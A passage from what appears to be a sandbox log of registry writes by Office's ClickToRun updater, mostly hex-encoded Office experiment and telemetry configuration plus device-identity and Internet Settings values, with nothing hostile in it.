66742e4f66666963652e4578706572696d656e746174696f6e2e4665617475726551756572794c6f676765722e456e61626c655374617469634c6f6767696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e5472696d41707049644c697374546f4665746368222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4578706572696d656e746174696f6e2e57696e333244657669636543616e617279222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e416c7761797346616c6c6261636b466f7253796e634261636b6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e44657072656361746546696c65536572766572496e666f54797065222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e456e61626c654261636b67726f756e6455706c6f6164222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4368616e6765476174652e5573654e65774d736f446f6354656c656d65747279496e697450617468222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e436865636b5265766973696f6e53747265616d457175616c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e436f6c6c616250726f7053746f726543616368655265736574436865636b6572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e436f7079546f43616c6c6261636b456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4373694c696d6974656446616c6c6261636b546f486c696e6b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e44534c49422e456e61626c654c6162656c73556e757365644f72436c6561726564436865636b222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446570726563617465436865636b5374617274735769746846696c654e616d65457869737473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446973616d626967756174654373694e6574776f726b436f6e6e65637469766974794572726f72222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446973636f52657472795374726174656779222c20225622203a2022696e7433325f747c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446973636f5374726963744d6f6465456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e446f63732e4d736f2e4f757473706163652e496e6974436163686546726f6d464948222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4472675570646174655265666572656e63657353796368726f6e6f7573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e44796e616d6963467261676d656e7453697a65222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e456e61626c65466f726365486f73744d6f6465466f7253796e634261636b6564486f73744f6e4f70656e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e4661696c43616c6c73546f5472616e73616374656453747265616d4461746142 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|2" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.7 = 62696c69746965735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572456e6447657455736572417474726962757465735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c70657247657455736572417474726962757465735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572456e644765744c696e6b735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c7065724765744c696e6b735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572456e645365744c696e6b735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c7065725365744c696e6b735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572456e644765745065726d697373696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c7065724765745065726d697373696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572456e645365745065726d697373696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c7065725365745065726d697373696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572436865636b5065726d697373696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c70657247657453686172696e67496e666f726d6174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c706572426567696e5365745065726d697373696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434d736f53686172696e675365727669636548656c70657247657453686172696e6756657273696f6e735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d6f6465726e4261636b73746167655c22203a207b205c224576656e74735c22203a207b205c224261636b737461676550616765436f6e74726f6c55736572437265617465436f6e74726f6c557365725c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224465736b746f704261636b73746167654e617669676174696f6e5c22203a207b205c224576656e74735c22203a207b205c224e617669676174696f6e5461736b496e766f6b655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225461736b496e766f6b654f6e52656164466f6c6465725c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224465736b746f7053686172696e675c22203a207b205c224576656e74735c22203a207b205c22436f6c6c616250616e6555736572536574436f6c6c616250616e654d6f64655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6c6c616250616e6555736572436c69636b53686172696e674c696e6b5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6c6c616250616e6555736572497343757272656e74446f63456e746572707269736550726f7465637465645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f63756d656e7473536861726564576974684d655c22203a207b205c224576656e74735c22203a207b205c22446f63756d656e7473536861726564576974684d6552657175657374446f63756d656e7473536861726564576974684d654173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7473536861726564576974684d6552657175657374436163686564446f63756d656e7473536861726564576974684d655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7473536861726564576974684d654964656e74697479436163686552657175657374526573756c745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7473536861726564576974684d6552657175657374436163686564446f63756d656e7473466f724661696c757265735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22486973746f727955585c22203a207b205c224576656e74735c22203a207b205c224163746976697479506167654d616e6167657252656769737465725669736962696c697479436f6e74726f6c6c65725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224275734261724f70656e4c6f63616c56657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434163746976697469657341676772656761746f72496e69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22434163746976697469657341676772656761746f7252657475726e4572726f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243437369446f63756d656e74537461746545787465726e616c556e7265676973746572446f63756d656e744c697374656e65725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243486973746f727941637469766974696573466163746f727952656672657368416674657252656e616d655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f62616c744163746976697469657346696c6556657273696f6e4c697374557064617465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243536f61704461746150726f7669646572496e69745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486973746f727950616765436c6f73655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486973746f727950616765436f707956657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486973746f727950616765436f707956657273696f6e496e7465726e616c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486973746f7279506167654372656174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486973746f727950616765526573746f726556657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486973746f72795061676553656c65637456657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486973746f727950616e654e6f6e436c69636b61626c654974656d53656c65637465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f63616c41637469766974696573426567696e526566726573685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f6666696365436f6c6c61624163746976697479436f6d6d616e644d534f446f63756d656e7450726f76696465725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225368617265506f696e74436865636b4f757446696c65546f4c6f63616c466f6c6465725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546f67676c65486964655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22546f67676c6553686f775c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225759574143616c6c6f757453686f7743616c6c6f75745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7365656e416374697669747943616c6c6f757450726573656e7443616c6c6f75745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7365656e41637469766974794765744c6173745669657754696d655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7365656e416374697669747946696e6443757272656e74557365724c6f67696e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22556e7365656e416374697669747943616c6c6f7574436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253686f77536d616c6c53637265656e435759574143616c6c6f75745c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d7275416461707465725c22203a207b205c224576656e74735c22203a207b205c224872416464446f63756d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464506c6163655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464446f63756d656e74576974684f7074696f6e7357697468436f6e746578745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464506c616365576974684f7074696f6e7357697468436f6e746578745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464446f63756d656e745061746857697468436f6e746578745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464506c6163655061746857697468436f6e746578745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464446f63756d656e74496e6465785c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464506c616365496e6465785c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22487252656d6f7665506174685c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224872416464576974684f7074696f6e7357697468436f6e746578745c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22417070446f63735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e745c22203a207b205c225375624e616d657370616365735c22203a207b205c2241637469766174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6173744f70656e6564446f63756d656e744d657461646174615c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224d6f6465726e446f6354656d706c617465536572766963655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225361766550726f6d707448656c7065725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e74436861745c22203a207b205c224576656e74735c22203a207b205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e6572436f6e6e65637465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e6572436f6e6e656374696e674576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e6572446973636f6e6e65637465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e6572446973636f6e6e656374696e674576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e65725265667265736850657273697374656e7453746174654173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e65725265667265736850657273697374656e7453746174654173796e63496e7465726e616c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e65725265667265736850657273697374656e7453746174654173796e6352657472795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e657253746172745265616c74696d65436f6e6e656374696f6e4c697374656e696e675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e7443686174417661696c6162696c6974795274634c697374656e657253746f705265616c74696d65436f6e6e656374696f6e4c697374656e696e675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572436f6e6e65637465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572436f6e6e656374696e674576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572446973636f6e6e65637465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572446973636f6e6e656374696e674576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572526562726f61646361737450657273697374656e7453746174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572526562726f61646361737450657273697374656e745374617465496e7465726e616c5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572526562726f61646361737450657273697374656e74537461746552657472795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f6164636173746572526562726f61646361737450657273697374656e7453746174655265747279496e6e65724c6f6f705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f61646361737465725265667265736850657273697374656e7453746174654173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f616463617374657253746172745265616c74696d65436f6e6e656374696f6e4c697374656e696e675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617452746342726f616463617374657253746f705265616c74696d65436f6e6e656374696f6e4c697374656e696e675c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253686172696e6755495c22203a207b205c225375624e616d657370616365735c22203a207b205c22436f6c6c616250616e65557365725c22203a207b205c224576656e74735c22203a207b205c22536861726550616e65436f6d706c657465446973706c61795c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c2253686172654469616c6f675c22203a207b205c224576656e74735c22203a207b205c224e61766967617465546f5765624469616c6f675c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2253656e6441734174746163686d656e745c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d2c205c224544505c22203a207b205c224576656e74735c22203a207b205c22506f6c6963794d657461646174615c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c225369746573536572766963654170695c22203a207b205c224576656e74735c22203a207b205c22526571756573744173796e635c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c225265616446726f6d43616368655c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e44796e616d696343616e766173222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c224f7574537061636543616e7661735c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c2250726f677265737355695c22203a207b205c224576656e74735c22203a207b205c22556e6578706f727461626c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224578706f727461626c655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2243616e7661735c22203a207b205c225375624e616d657370616365735c22203a207b205c225765624469616c6f675c22203a207b205c225375624e616d657370616365735c22203a207b205c2242726f777365724576656e7448616e646c65725c22203a207b205c224576656e74735c22203a207b205c224f6e4c6f616465645c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d2c205c224e617669676174696f6e48616e646c65725c22203a207b205c224576656e74735c22203a207b205c224f6e4e61766967617465645c22203a207b205c224576656e74466c61675c22203a203438383936207d207d207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e457863656c222c20225622203a20227374643a3a77737472 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935} C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|0" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "2" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018C00DBE6209BC = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb01000000a594b7f639e26c4083b3b0da538f62c100000000020000000000106600000001000020000000385dfb54a386de684813a442ca3861ff0a85f33de44c4cbb0c1509e945e9a5c7000000000e8000000002000020000000031b3cbfc26bd804e8db6fa82ef9e83033825b4b2ecab8a82567c0290efb401180000000ef39e5b3249f9591e7837633ab6c9f510464fbc8a9b769e1e2a50a3dd86d0cb78ed618279d8c5cf9a52abb8f729fc585e7005fd7e4bf26e8f5f24ba63961f0e7031b3ec1f7e54c30f64c8acb42b61a1b4700c33766751c71e09c4a4a202b301c027cb3a685a9ea6b9dc14688514e1c117d29bc3436c903066a42a046a7999be04000000028402b94e9b340bfdaf81fb839bc7166dfa1ad84364985867d48d8161829c60605e950e818b620ff1aed7f6dbf625015318fa42f28cce9fa8dfa422bb59f5a17 C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}\DeviceId = "0018C00DBE6209BC" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.6 = 22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279557365724a756d70546f417574686f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279557365724f70656e53696e676c65466c796f75745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22456d61696c416374696f6e487562416374696f6e53656e64456d61696c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e6453657456616c75655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224d736f494d5365727669636573536642506861736531496d70726f76656d656e7473456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224368617443616c6c6f757455736572496e697455495c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f494d5365727669636573497357616343686174456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f494d536572766963657353664257616343686174456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f494d536572766963657353664357616343686174456e61626c65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446f63756d656e744368617455494d6f64656c4f6e55494576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224368617443616c6c6f7574557365724f6e5061727469636970616e744c6973744368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6175746847616c6c65727955736572437265617465416374696f6e4875624c69737446726f6d536e617073686f745c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22436f6175746847616c6c65727955736572437265617465466c65784c69737446726f6d536e617073686f745c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22436f6c6c61625c22203a207b205c225375624e616d657370616365735c22203a207b205c22436f617574686f725c22203a207b205c225375624e616d657370616365735c22203a207b205c22436f617574686f72446f63756d656e7448656c7065725c22203a207b205c224576656e74735c22203a207b205c22547269676765725265747269657665446f63756d656e74436f617574686f72735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225265747269657665456469746f72735461626c654d616e616765725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225265747269657665527463557365725c22203a207b205c224576656e74466c61675c22203a20353132207d207d207d207d207d207d207d2c205c2241744d656e74696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22446f63756d656e744163746976697479496e746567726174696f6e5c22203a207b205c224576656e74735c22203a207b205c224164645265636f7665726564416374697669746965735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2250726f6365737341744d656e74696f6e4e6f74696669636174696f6e734c6973745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6d6d656e74734e6f74696669636174696f6e436f6c6c6563746f7252656d6f766564436f6d6d656e74735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2250726f63657373436f6d6d656e74734e6f74696669636174696f6e734c6973745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22536176654c6f67466f725265636f766572795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22437265617465446f63756d656e7441637469766974794c6f674d616e616765725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c657465436f6d6d656e7441637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22446973636172644c6f63616c416374697669746965735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574655265706c7941637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2243726561746541744d656e74696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c65746541744d656e74696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574654d6f6465726e436f6d6d656e7441637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224372656174654d6f6465726e41744d656e74696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f70656e4c6f6746726f6d5265636f766572795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2244656c6574654d6f6465726e5265706c7941637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225064616c6d446f63756d656e7441637469766974794c6f674d616e616765725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22456e73757265446f63756d656e744163746976697479436170747572655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456e737572654c6f67507265526571735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d6574726f4f70656e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243726561746555736572496e666f466f72417574686f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22437265617465556e69717565417574686f72566563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243726561746555736572496e666f46726f6d417574686f72566563746f725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224973436c6f7564446f63756d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225365745361766564507265526571735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174655265766973696f6e53657441637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22476574436f6d6d656e74436f6e74656e744964656e7469666965725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f67436f6d6d656e744174747269627574696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472794372656174654c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536176654c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2253657453617665645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224162616e646f6e4c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174655461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225461736b4372656174696f6e41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22526561737369676e5461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656f70656e5461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d706c6574655461736b41637469766974795c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224465736b746f704261636b73746167655c22203a207b205c224576656e74735c22203a207b205c22536176654173526563656e74436c69636b65645c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253617665417344656661756c745365727669636553656c656374696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f70656e526563656e74446f63756d656e747356696577436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f70656e526563656e74446f63756d656e7473566965775769746846656174757265456e61626c6564436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22424743616c634d616e6167657250726f6365737353657456616c75657350726f635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22424743616c6349646c655461736b46457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22506c6163657347726f757065724163636f756e74496e666f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2247657474696e67537461727465644d5255536c61624765744d72754461746554696d6547726f7570547970655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f70656e526563656e744c6f636174696f6e7356696577436c69636b65645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e617669676174696f6e5265616453697465526f6f74427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e617669676174696f6e52656164446f634c6962466f6c646572427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c224f666669636553706163655c22203a207b205c225375624e616d657370616365735c22203a207b205c224465736b746f704261636b73746167654e617669676174696f6e5c22203a207b205c224576656e74735c22203a207b205c224c617a794c6f616446696c6543616368655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224c6f616446726f6d46696c6543616368655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2253617665496e746f46696c6543616368655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2252656164546869735043526f6f745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22526561644c6f63616c466f6c6465725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225265616453697465526f6f74427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224765744974656d57656244617655726c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2247657452656d6f74654974656d496e666f726d6174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2252656164446f634c6962466f6c646572427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c22526561644d696772617465644f4443466f6c646572427956726f6f6d5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d2c205c22504358506572736f6e6150686f746f5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f757453706163655c22203a207b205c224576656e74735c22203a207b205c22557064617465506c616365735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224372656174655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22486964655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225365744d72754c697374466f72486f6d65506167655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c65616e75705c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536861726564576974684d65506f70756c6174654c6973745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174654d52554974656d735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224f70656e4469736d6973735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224e65774469736d6973735c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c224465736b746f704261636b73746167655c22203a207b205c224576656e74735c22203a207b205c224261636b73746167654469736d69737365645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f76657279436f6d7061726557697468556e736176656456657273696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224175746f5265636f7665727944656c657465556e736176656456657273696f6e5c22203a